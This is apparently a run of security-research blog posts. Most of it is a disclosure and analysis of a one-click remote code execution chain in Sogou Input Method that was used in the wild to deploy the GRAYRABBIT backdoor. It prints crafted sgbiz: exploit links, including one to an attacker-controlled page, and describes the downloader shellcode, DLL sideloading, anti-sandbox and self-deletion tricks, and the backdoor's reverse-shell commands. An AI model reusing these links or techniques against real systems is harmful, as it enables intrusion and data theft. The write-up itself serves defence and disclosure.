During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

<h2>Key Points</h2>
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
<h2>Introduction</h2>
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

<h2>The Attack Surface: How Sogou Input Method Talks to Itself</h2>
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
<h2>Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe</h2>
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
<ul>
<li>module: the name of the Sogou executable to launch</li>
<li>param: command-line arguments to pass to that executable</li>
<li>work_dir: the working directory</li>
<li>start_mode: how to launch the process (CreateProcessW or ShellExecuteW)</li>
<li>start_show: the window show state</li>
</ul>
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " &lt; &gt; |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

<h2>Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe</h2>
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Under normal circumstances, the webview would load internal Sogou URLs like <a href="https://sogoupyskin/">https://sogoupyskin/</a>, <a href="https://page.sogou/">https://page.sogou/</a>, or <a href="https://res.sogou/">https://res.sogou/</a>. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
<h2>Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox</h2>
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
<ul>
<li>disable-web-security: disables the same-origin policy, allowing any page to read from any origin</li>
<li>allow-file-access-from-files: lets URLs read other local files</li>
<li>disable-gpu-shader-disk-cache</li>
<li>enable-direct-write</li>
<li>disable-spell-checking</li>
</ul>
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
<h2>Putting It All Together</h2>
The full exploit chain works like this:
<ol>
<li>
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
</li>
<li>
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
</li>
<li>
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
</li>
<li>
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
</li>
<li>
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
</li>
</ol>
The entire chain requires nothing more than a single click on a link.
<h2>Observed in the Wild: UNC3569's GRAYRABBIT Backdoor</h2>
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf">Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi</a>" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for <a href="https://starlabs.sg/blog/2022/12-thehole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">CVE-2021-38003</a>, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

<h2>The Shellcode: Download and Sideload</h2>
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
<ul>
<li>7z.exe: a legitimate 7-Zip binary, used as a sideloading host</li>
<li>7zp.dll: a trojanized DLL loader (internal name: boy.dll)</li>
<li>p: an encrypted payload blob containing the final-stage RAT</li>
</ul>
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
<h2>The Loader: Anti-Sandbox and Self-Deletion</h2>
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
<h2>The Payload: GRAYRABBIT Backdoor</h2>
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
<ul>
<li>0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler</li>
<li>0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system</li>
</ul>

Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>MSG Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NormalMsg</td>
<td>Execute a process silently (CreateProcessW with the payload as a command line)</td>
</tr>
<tr>
<td>1</td>
<td>NormalMsg</td>
<td>Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr)</td>
</tr>
<tr>
<td>2</td>
<td>NormalMsg</td>
<td>No-op / reserved</td>
</tr>
<tr>
<td>3</td>
<td>NormalMsg</td>
<td>Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1)</td>
</tr>
<tr>
<td>4</td>
<td>NormalMsg</td>
<td>Close the interactive shell and terminate its process</td>
</tr>
<tr>
<td>5</td>
<td>NormalMsg</td>
<td>Load a plugin module from the C2 (see below)</td>
</tr>
<tr>
<td>6</td>
<td>NormalMsg</td>
<td>Collect and send system information</td>
</tr>
<tr>
<td>7</td>
<td>NormalMsg</td>
<td>Self-terminate (unload all plugins, then TerminateProcess on the current process)</td>
</tr>
<tr>
<td>8</td>
<td>NormalMsg</td>
<td>No-op / file request acknowledgment (also sent by the client to request a file)</td>
</tr>
<tr>
<td>9</td>
<td>NormalMsg</td>
<td>Upload a local file to the C2 (reads the file path from the payload)</td>
</tr>
<tr>
<td>default</td>
<td>NormalMsg</td>
<td>Dispatch to loaded plugin modules via their vtable handlers</td>
</tr>
</tbody>
</table>
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
<ul>
<li>
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
</li>
<li>
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
</li>
</ul>
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as &lt;ip_address&gt;+&lt;hostname&gt;+&lt;username&gt;+&lt;exename&gt;:&lt;pid&gt; and sent to the C2 upon successful connection.
<h2>Disclosure Timeline and Fix</h2>
<ul>
<li>
April 9, 2026: Vulnerability reported to Tencent (<a href="mailto:security@tencent.com">security@tencent.com</a>) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
</li>
<li>
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
</li>
<li>
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
</li>
<li>
May 4, 2026: CVE ID requested through MITRE
</li>
<li>
July 10, 2026: MITRE assigns CVE-2026-51990
</li>
</ul>
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
<h2>What was Fixed</h2>
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
<h2>Indicators of Compromise</h2>
File hashes (SHA256)
<ul>
<li>
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Malicious software is often designed to hide its true behavior, wrapping its underlying logic in layers that make it difficult to analyze. “Unpacking” is the process researchers use to peel back those layers and reveal what the software is actually doing. But when standard tools run into unfamiliar or custom protections, this process can quickly become slow and highly manual. This project explores whether AI can help bridge that gap, assisting with the more repetitive parts of analysis so researchers can focus on validation, reasoning, and the parts of reverse engineering that still require human judgment.&nbsp;Automated static binary unpacking is hard, and it tends to stop being hard in a useful way only when the packer is familiar. There are good unpackers out there, including some internal ones, but once you get out of their comfort zone, unsupported packers, custom routines, or slightly unusual logic can bring the whole process to a halt.&nbsp;That makes unpacking a good example of where&nbsp;<a href="https://www.gendigital.com/blog/insights/research/engineering-the-future-of-agentic-threat-hunting">AI may genuinely help</a>. Across our broader work at Gen, we are increasingly using&nbsp;<a href="https://www.gendigital.com/blog/insights/research/engineering-the-future-of-agentic-threat-hunting">AI-assisted workflows</a> to accelerate parts of reverse engineering, technical correlation, and evidence organization, not as a substitute for expert analysis, but as a way to reduce friction in the slower, more repetitive parts of the job. The responsibility for verification and final conclusions still stays with the 